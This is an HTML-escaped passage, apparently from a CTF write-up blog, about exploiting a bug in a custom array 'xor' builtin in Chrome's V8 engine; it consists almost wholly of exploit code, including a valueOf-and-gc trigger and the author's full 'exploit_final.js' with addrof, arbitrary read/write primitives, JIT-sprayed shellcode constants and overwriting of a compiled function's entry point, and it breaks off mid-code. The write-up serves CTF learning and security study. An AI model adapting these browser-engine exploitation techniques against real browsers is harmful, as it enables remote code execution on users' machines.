class=&#34;jsConKw&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;size&lt;/span&gt; = &lt;span class=&#34;jsConValIn&#34;&gt;0x12&lt;/span&gt;;&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;num_rets&lt;/span&gt; = &lt;span class=&#34;jsConValIn&#34;&gt;0x10&lt;/span&gt;;&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;a&lt;/span&gt; = [];&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;for&lt;/span&gt; (&lt;span class=&#34;jsConKw&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;i&lt;/span&gt; = &lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;; &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt; &amp;lt; &lt;span class=&#34;jsConVar&#34;&gt;size&lt;/span&gt;; &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt;++) {&#xD;&#xA;    &lt;span class=&#34;jsConVar&#34;&gt;a&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;push&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;1.1&lt;/span&gt;);&#xD;&#xA;  }&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;rets&lt;/span&gt; = [{&lt;span class=&#34;jsConProp&#34;&gt;a&lt;/span&gt;: &lt;span class=&#34;jsConValIn&#34;&gt;1.1&lt;/span&gt;}];&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;num&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;valueOf&lt;/span&gt; = &lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt;() {&#xD;&#xA;    &lt;span class=&#34;jsConVar&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;log&lt;/span&gt;(&lt;span class=&#34;jsConStr&#34;&gt;&#34;valueof called&#34;&lt;/span&gt;);&#xD;&#xA;    &lt;span class=&#34;jsConVar&#34;&gt;a&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;length&lt;/span&gt; = &lt;span class=&#34;jsConValIn&#34;&gt;1&lt;/span&gt;;&#xD;&#xA;    &lt;span class=&#34;jsConVar&#34;&gt;gc&lt;/span&gt;();&#xD;&#xA;    &lt;span class=&#34;jsConVar&#34;&gt;rets&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;push&lt;/span&gt;({&lt;span class=&#34;jsConProp&#34;&gt;b&lt;/span&gt;: &lt;span class=&#34;jsConValIn&#34;&gt;1.1&lt;/span&gt;});&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;    &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConValIn&#34;&gt;0x40&lt;/span&gt;;&#xD;&#xA;  };&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;a&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;xor&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;num&lt;/span&gt;);&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;rets&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;length&lt;/span&gt; = &lt;span class=&#34;jsConValIn&#34;&gt;900&lt;/span&gt;&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;rets&lt;/span&gt;&#xD;&#xA;}&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;As for the code execution part, pretty much everyone went for a wasm rwx route instead of going through all the trouble I did to optimize a function into Maglev/Turbocode. &lt;a href=&#34;https://www.willsroot.io/2021/01/rope2-hackthebox-writeup-chromium-v8.html&#34;&gt;There&lt;/a&gt; &lt;a href=&#34;https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/&#34;&gt;are&lt;/a&gt; &lt;a href=&#34;https://medium.com/@numencyberlabs/use-wasm-to-bypass-latest-chrome-v8sbx-again-639c4c05b157&#34;&gt;a&lt;/a&gt; &lt;a href=&#34;https://jackfromeast.site/2024-01/v8-exploit-revist-oob-v8-starCTF-2019.html&#34;&gt;lot&lt;/a&gt; &lt;a href=&#34;https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/Google2022/exp.js&#34;&gt;of&lt;/a&gt; &lt;a href=&#34;https://tiszka.com/blog/CVE_2021_21225_exploit.html&#34;&gt;write-ups&lt;/a&gt; for the wasm route, so I felt it&amp;rsquo;d be more fun to blog about a different approach, and it was the approach I took at the original CTF either way.&lt;/p&gt;&#xA;&lt;p&gt;In case you&amp;rsquo;re wondering what my original code at the CTF looked like, it was this:&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConCode&#34;&gt;&lt;details&gt;&lt;summary style=&#34;cursor:pointer&#34;&gt;exploit_final.js&lt;/summary&gt;&lt;span class=&#34;jsConNull&#34;&gt;// lyra&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;bs&lt;/span&gt; = &lt;span class=&#34;jsConKw&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;ArrayBuffer&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;8&lt;/span&gt;);&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;fs&lt;/span&gt; = &lt;span class=&#34;jsConKw&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;Float64Array&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;bs&lt;/span&gt;);&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;is&lt;/span&gt; = &lt;span class=&#34;jsConKw&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;BigUint64Array&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;bs&lt;/span&gt;);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;ftoi&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;x&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;fs&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;x&lt;/span&gt;;&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;is&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;];&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;itof&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;x&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;is&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;x&lt;/span&gt;;&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;fs&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;];&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;foo&lt;/span&gt; = (() =&amp;gt; {&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;f&lt;/span&gt; = () =&amp;gt; {&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; [&#xD;&#xA;&lt;span class=&#34;jsConValIn&#34;&gt;1.9711828979523134e-246&lt;/span&gt;,&#xD;&#xA;&lt;span class=&#34;jsConValIn&#34;&gt;1.9562205631094693e-246&lt;/span&gt;,&#xD;&#xA;&lt;span class=&#34;jsConValIn&#34;&gt;1.9557819155246427e-246&lt;/span&gt;,&#xD;&#xA;&lt;span class=&#34;jsConValIn&#34;&gt;1.9711824228871598e-246&lt;/span&gt;,&#xD;&#xA;&lt;span class=&#34;jsConValIn&#34;&gt;1.971182639857203e-246&lt;/span&gt;,&#xD;&#xA;&lt;span class=&#34;jsConValIn&#34;&gt;1.9711829003383248e-246&lt;/span&gt;,&#xD;&#xA;&lt;span class=&#34;jsConValIn&#34;&gt;1.9895153920223886e-246&lt;/span&gt;,&#xD;&#xA;&lt;span class=&#34;jsConValIn&#34;&gt;1.971182898881177e-246&lt;/span&gt;,&#xD;&#xA;  ];&#xD;&#xA;}&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;//%PrepareFunctionForOptimization(f);&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;f&lt;/span&gt;();&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;//%OptimizeFunctionOnNextCall(f);&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;for&lt;/span&gt; (&lt;span class=&#34;jsConKw&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;i&lt;/span&gt; = &lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;; &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt; &amp;lt; &lt;span class=&#34;jsConValIn&#34;&gt;100000&lt;/span&gt;; &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt;++) { &lt;span class=&#34;jsConVar&#34;&gt;f&lt;/span&gt;() }&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;f&lt;/span&gt;()&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;f&lt;/span&gt;;&#xD;&#xA;})();&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;a&lt;/span&gt; = [];&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;for&lt;/span&gt; (&lt;span class=&#34;jsConKw&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;i&lt;/span&gt; = &lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;; &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt; &amp;lt; &lt;span class=&#34;jsConValIn&#34;&gt;100000&lt;/span&gt;; &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt;++) { &lt;span class=&#34;jsConVar&#34;&gt;a&lt;/span&gt;[&lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt;] = &lt;span class=&#34;jsConKw&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;String&lt;/span&gt;(&lt;span class=&#34;jsConStr&#34;&gt;&#34;&#34;&lt;/span&gt;);&lt;span class=&#34;jsConVar&#34;&gt;foo&lt;/span&gt;(); }&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;ArrayBuffer&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x80000000&lt;/span&gt;);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;arr1&lt;/span&gt; = [&lt;span class=&#34;jsConValIn&#34;&gt;5.432309235825e-312&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;1337.888&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;3.881131231533e-311&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;5.432329947926e-312&lt;/span&gt;];&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;flt&lt;/span&gt; = [&lt;span class=&#34;jsConValIn&#34;&gt;1.1&lt;/span&gt;];&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;tmp&lt;/span&gt; = {&lt;span class=&#34;jsConProp&#34;&gt;a&lt;/span&gt;: &lt;span class=&#34;jsConValIn&#34;&gt;1&lt;/span&gt;};&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;obj&lt;/span&gt; = [&lt;span class=&#34;jsConVar&#34;&gt;tmp&lt;/span&gt;];&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;array&lt;/span&gt; = [-&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;];&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;hasRun&lt;/span&gt; = &lt;span class=&#34;jsConValIn&#34;&gt;false&lt;/span&gt;;&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;//%DebugPrint(arr1);&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;//%DebugPrint(flt);&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;//%DebugPrint(obj);&lt;/span&gt;&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;getHandler&lt;/span&gt;() {&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;if&lt;/span&gt; (&lt;span class=&#34;jsConVar&#34;&gt;hasRun&lt;/span&gt;) &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt;;&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;hasRun&lt;/span&gt; = &lt;span class=&#34;jsConValIn&#34;&gt;true&lt;/span&gt;;&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;array&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;arr1&lt;/span&gt;;&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConValIn&#34;&gt;80&lt;/span&gt;;&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;x&lt;/span&gt; = []&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;x&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;__defineGetter__&lt;/span&gt;(&lt;span class=&#34;jsConStr&#34;&gt;&#34;0&#34;&lt;/span&gt;, &lt;span class=&#34;jsConVar&#34;&gt;getHandler&lt;/span&gt;);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;array&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;xor&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;x&lt;/span&gt;);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;//%DebugPrint(arr1);&lt;/span&gt;&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;//%SystemBreak();&lt;/span&gt;&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;log&lt;/span&gt;(&lt;span class=&#34;jsConStr&#34;&gt;&#34;s1&#34;&lt;/span&gt;);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;oob&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;array&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;];&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;log&lt;/span&gt;(&lt;span class=&#34;jsConStr&#34;&gt;&#34;s2&#34;&lt;/span&gt;);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;log&lt;/span&gt;(&lt;span class=&#34;jsConStr&#34;&gt;&#34;s3&#34;&lt;/span&gt;);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;addrof&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;o&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;log&lt;/span&gt;(&lt;span class=&#34;jsConStr&#34;&gt;&#34;oob = oob&#34;&lt;/span&gt;);&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;oob&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;6&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;oob&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;18&lt;/span&gt;]; &#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;log&lt;/span&gt;(&lt;span class=&#34;jsConStr&#34;&gt;&#34;obj[0] = o&#34;&lt;/span&gt;);&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;obj&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;o&lt;/span&gt;;&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;log&lt;/span&gt;(&lt;span class=&#34;jsConStr&#34;&gt;&#34;ret&#34;&lt;/span&gt;);&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; (&lt;span class=&#34;jsConVar&#34;&gt;ftoi&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;flt&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;]) &amp;amp; &lt;span class=&#34;jsConValIn&#34;&gt;0xffffffffn&lt;/span&gt;) - &lt;span class=&#34;jsConValIn&#34;&gt;1n&lt;/span&gt;;&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;read&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;p&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;a&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;ftoi&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;oob&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;6&lt;/span&gt;]) &amp;gt;&amp;gt; &lt;span class=&#34;jsConValIn&#34;&gt;32n&lt;/span&gt;;&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;oob&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;6&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;itof&lt;/span&gt;((&lt;span class=&#34;jsConVar&#34;&gt;a&lt;/span&gt; &amp;lt;&amp;lt; &lt;span class=&#34;jsConValIn&#34;&gt;32n&lt;/span&gt;) + &lt;span class=&#34;jsConVar&#34;&gt;p&lt;/span&gt; - &lt;span class=&#34;jsConValIn&#34;&gt;8n&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;1n&lt;/span&gt;);&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;ftoi&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;flt&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;]);&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;write&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;p&lt;/span&gt;, &lt;span class=&#34;jsConIdx&#34;&gt;x&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;a&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;ftoi&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;oob&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;6&lt;/span&gt;]) &amp;gt;&amp;gt; &lt;span class=&#34;jsConValIn&#34;&gt;32n&lt;/span&gt;;&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;oob&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;6&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;itof&lt;/span&gt;((&lt;span class=&#34;jsConVar&#34;&gt;a&lt;/span&gt; &amp;lt;&amp;lt; &lt;span class=&#34;jsConValIn&#34;&gt;32n&lt;/span&gt;) + &lt;span class=&#34;jsConVar&#34;&gt;p&lt;/span&gt; - &lt;span class=&#34;jsConValIn&#34;&gt;8n&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;1n&lt;/span&gt;);&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;flt&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;itof&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;x&lt;/span&gt;);&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;log&lt;/span&gt;(&lt;span class=&#34;jsConStr&#34;&gt;&#34;s3.5&#34;&lt;/span&gt;);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;foo_addr&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;addrof&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;foo&lt;/span&gt;);&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;log&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;foo_addr&lt;/span&gt;);&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;log&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;oob&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;]);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;foo_addr&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;addrof&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;foo&lt;/span&gt;);&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;log&lt;/span&gt;(&lt;span class=&#34;jsConStr&#34;&gt;&#34;foo_addr:&#34;&lt;/span&gt;, &lt;span class=&#34;jsConVar&#34;&gt;foo_addr&lt;/span&gt;);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;code&lt;/span&gt; = (&lt;span class=&#34;jsConVar&#34;&gt;read&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;foo_addr&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;0x08n&lt;/span&gt;) - &lt;span class=&#34;jsConValIn&#34;&gt;1n&lt;/span&gt;) &amp;gt;&amp;gt; &lt;span class=&#34;jsConValIn&#34;&gt;32n&lt;/span&gt;;&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;log&lt;/span&gt;(&lt;span class=&#34;jsConStr&#34;&gt;&#34;code:&#34;&lt;/span&gt;, &lt;span class=&#34;jsConVar&#34;&gt;code&lt;/span&gt;);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;log&lt;/span&gt;(&lt;span class=&#34;jsConStr&#34;&gt;&#34;0x00:&#34;&lt;/span&gt;, &lt;span class=&#34;jsConVar&#34;&gt;read&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;foo_addr&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;0x00n&lt;/span&gt;));&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;log&lt;/span&gt;(&lt;span class=&#34;jsConStr&#34;&gt;&#34;0x10:&#34;&lt;/span&gt;, &lt;span class=&#34;jsConVar&#34;&gt;read&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;foo_addr&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;0x10n&lt;/span&gt;));&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;entry&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;read&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;code&lt;/span&gt; - &lt;span class=&#34;jsConValIn&#34;&gt;0x100n&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;0x113n&lt;/span&gt;);&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;log&lt;/span&gt;(&lt;span class=&#34;jsConStr&#34;&gt;&#34;entry:&#34;&lt;/span&gt;, &lt;span class=&#34;jsConVar&#34;&gt;entry&lt;/span&gt;);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;write&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;code&lt;/span&gt; - &lt;span class=&#34;jsConValIn&#34;&gt;0x100n&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;0x113n&lt;/span&gt;, &lt;span class=&#34;jsConVar&#34;&gt;entry&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;0x53n&lt;/span&gt;);&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;entry&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;read&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;code&lt;/span&gt; - &lt;span class=&#34;jsConValIn&#34;&gt;0x100n&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;0x113n&lt;/span&gt;);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;log&lt;/span&gt;(&lt;span class=&#34;jsConStr&#34;&gt;&#34;entry:&#34;&lt;/span&gt;, &lt;span class=&#34;jsConVar&#34;&gt;entry&lt;/span&gt;);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span 